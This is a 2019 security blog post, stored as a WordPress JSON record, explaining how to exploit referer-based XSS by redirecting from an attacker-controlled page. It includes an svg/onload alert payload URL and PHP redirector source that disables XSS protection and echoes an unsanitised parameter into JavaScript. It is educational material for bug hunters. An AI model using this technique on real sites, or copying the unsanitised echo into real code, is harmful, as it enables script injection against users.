{"id":663,"date":"2019-09-25T03:57:14","date_gmt":"2019-09-24T22:27:14","guid":{"rendered":"http:\/\/www.geekboy.ninja\/blog\/?p=663"},"modified":"2019-09-25T03:57:16","modified_gmt":"2019-09-24T22:27:16","slug":"exploiting-unusual-referer-based-xss","status":"publish","type":"post","link":"https:\/\/www.geekboy.ninja\/blog\/exploiting-unusual-referer-based-xss\/","title":{"rendered":"Exploiting unusual Referer based XSS"},"content":{"rendered":"\n<p>Hello Everyone,<br><br>I\u2019m writing this after a long break. This post is about how one can exploit referer based XSS using JavaScript based redirection, this is not something new but not found enough resources when I was looking to exploit something similar in the past so thought to summarise quickly and share it with everyone.<\/p>\n\n\n\n<p><strong>What is referer based XSS? <\/strong><\/p>\n\n\n\n<p>Like any other reflection based XSS where Referer value gets reflected into response body without any sanitization, this happens when a web application makes use of referer value for any feature\/tracking, etc. <\/p>\n\n\n\n<p class=\"has-small-font-size\"><strong>Note:- By default browsers encode referer URLs, so this only applies where application make use of URLdecoded referer URL.   <\/strong><\/p>\n\n\n\n<p>Here is how vulnerable page looks like:-  <\/p>\n\n\n\n<p><a rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\" href=\"http:\/\/p0c.geekboy.ninja\/rxss-demo.php\" target=\"_blank\">http:\/\/p0c.geekboy.ninja\/rxss-demo.php<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" width=\"1024\" height=\"388\" src=\"https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-25-at-3.19.26-AM-1024x388.png\" alt=\"\" class=\"wp-image-677\" srcset=\"https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-25-at-3.19.26-AM-1024x388.png 1024w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-25-at-3.19.26-AM-300x114.png 300w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-25-at-3.19.26-AM-768x291.png 768w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-25-at-3.19.26-AM-816x309.png 816w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-25-at-3.19.26-AM.png 1466w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>How to exploit? <\/strong><\/p>\n\n\n\n<p>To control the referer header, one can make a redirection from the controlled page and append the XSS payloads in the URI,  here is the hosted version of POC in action.<\/p>\n\n\n\n<p style=\"text-align:left\" class=\"has-small-font-size\"><a href=\"http:\/\/p0c.geekboy.ninja\/rxss.php\/<svg\/onload=alert(document.domain)&gt;?target=http:\/\/p0c.geekboy.ninja\/rxss-demo.php\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">http:\/\/p0c.geekboy.ninja\/rxss.php\/&lt;svg\/onload=alert(document.domain)>?target=http:\/\/p0c.geekboy.ninja\/rxss-demo.php<\/a><\/p>\n\n\n\n<p>Source code:- <\/p>\n\n\n\n<pre style='color:#d1d1d1;background:#000000;'>&lt;?php header('X-XSS-Protection: 0'); ?>\n&lt;!DOCTYPE html>\n&lt;html>\n&lt;head>\n&lt;title>Referer based XSS testing&lt;\/title>\n&lt;\/head>\n&lt;body>\n&lt;script>window.location.replace('&lt;?php echo $_GET['target']; ?>');&lt;\/script>\n&lt;\/body>\n&lt;\/html>\n<\/pre>\n\n\n\n\n<p><\/p>\n\n\n\n<p>Feel free to host it for your self or use the hosted version, now go back and check if you missed any XSS in a similar scenario. <\/p>\n\n\n\n<p><strong>Resources:- <br><\/strong><br><a rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\" href=\"https:\/\/www.gremwell.com\/exploiting_xss_in_referer_header\" target=\"_blank\">https:\/\/www.gremwell.com\/exploiting_xss_in_referer_header<\/a><br><a rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\" href=\"https:\/\/medium.com\/@arbazhussain\/referer-based-xss-52aeff7b09e7\" target=\"_blank\">https:\/\/medium.com\/@arbazhussain\/referer-based-xss-52aeff7b09e7<\/a><br> <\/p>\n\n\n\n<p>Happy Hacking! <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello Everyone, I\u2019m writing this after a long break. This post is about how one can exploit referer based XSS using JavaScript based redirection, this is not something new but not found enough resources when I was looking to exploit something similar in the past so thought to summarise quickly and share it with everyone. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":690,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":[],"categories":[1],"tags":[26,25],"_links":{"self":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/663"}],"collection":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/comments?post=663"}],"version-history":[{"count":24,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/663\/revisions"}],"predecessor-version":[{"id":688,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/663\/revisions\/688"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/media\/690"}],"wp:attachment":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/media?parent=663"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/categories?post=663"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/tags?post=663"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}